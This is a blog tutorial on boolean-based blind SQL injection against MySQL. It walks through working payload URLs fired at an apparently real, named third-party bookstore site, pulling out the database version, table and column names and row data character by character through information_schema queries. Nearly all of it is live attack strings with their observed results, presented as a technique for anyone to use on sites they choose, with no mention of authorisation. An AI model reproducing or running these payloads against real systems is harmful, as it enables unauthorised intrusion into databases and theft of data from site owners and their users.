Introduction
So a lot of people view bling injection as having to guess everything, when it's called blind injection because no data is visible on the page as an outcome.
Remember, whenever you're injecting a site, as long as information_schema exists (version 5 or more), then you can use it to get data out of a page. This includes table names, database names, columns, and all the rest..
Here's a quick tutorial on getting data using blind injection for versions 5 or above, without guessing the outcome.
If you want to read up on some basic blind injection, you can check out this tutorial here.
I'll be using this site as an example.
Getting The Version
Code:
http://cathedralhillpress.com/book.php?id=1
Code:
http://cathedralhillpress.com/book.php?id=1 and substring(version(),1,1)=5
Code:
http://cathedralhillpress.com/book.php?id=1 and substring(version(),1,1)=4
As you can see, the page has a huge chunk of text and pictures missing off of the page.
Getting The Table Names
Now let's get the first character, of the first table name out of our database.
Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1),1,1))>0
The page loaded fine, so we know our first characters' ascii value is more then 0.
So we increment 0 until we get around the area it will be in.
Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1),1,1))>75
Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1),1,1))>80
Now we get our error, so let's go down, and change more then, to equals to get the exact value.
Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1),1,1))=76
Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1),1,1))=77
Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1),1,1))=78
You can check that here, by looking at the ASCII table.
ASCII Table
78 comes back to "N".
Now we know our first letter is N, so let's get the next letter by incrementing the 1, to a 2, in our substring() statement.
Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+
limit+0,1),2,1))>100
Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1),2,1))>101
Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1),2,1))=101
So far we have "Ne"
Now you can either keep getting the returned values, or try and guess the table name. It looks like News, so let's get our next character and guess.
The ascii value of "w" is 119, so let's see if it comes out positive.
Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1),3,1))=119
Lets check the last one...
The value of "s" is 115, so let's guess again.
Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1),4,1))=115
Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1),5,1))>0
And the page loads with an error.
Getting The Column Names
Getting the columns is fairly similar to getting the table names, you just add a where clause, and convert your table name to HEX/ASCII characters.
Let's see if our table even has columns first.
Code:
cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+limit+0,1),1,1))>0
Page loads fine, so we have a first character that's value is more then 0. Now let's get the column name.
Code:
cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+limit+0,1),1,1))>100
Code:
cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+limit+0,1),1,1))>105
Code:
cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+limit+0,1),1,1))=105
Then we repeat the process, until we get our next character.
Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+limit+0,1),2,1))>95
Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+limit+0,1),2,1))>100
Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+limit+0,1),2,1))=100
Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+limit+1,1),1,1))>0
Getting Data Out Of Columns
It's the same process, except we put our column names in a concat statement, FROM the TABLENAME.
Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(id)+from+News+limit+0,1),1,1))>0
Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(id)+from+News+limit+0,1),1,1))>45
Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(id)+from+News+limit+0,1),1,1))>50
Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(id)+from+News+limit+0,1),1,1))=49
Now let's check if there's a second character..
Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(id)+from+News+limit+0,1),2,1))>0
We get an error, so that was all that was our first result.
Conclusion
As you can see, "Blind Injection" doesn't really have to do with guessing, as long as your site has information_schema. The correct term is actually "Boolean Based Blind Injection", which makes sense. A Boolean returns a value of true/false, which is what we just went over.
No comments:
Post a Comment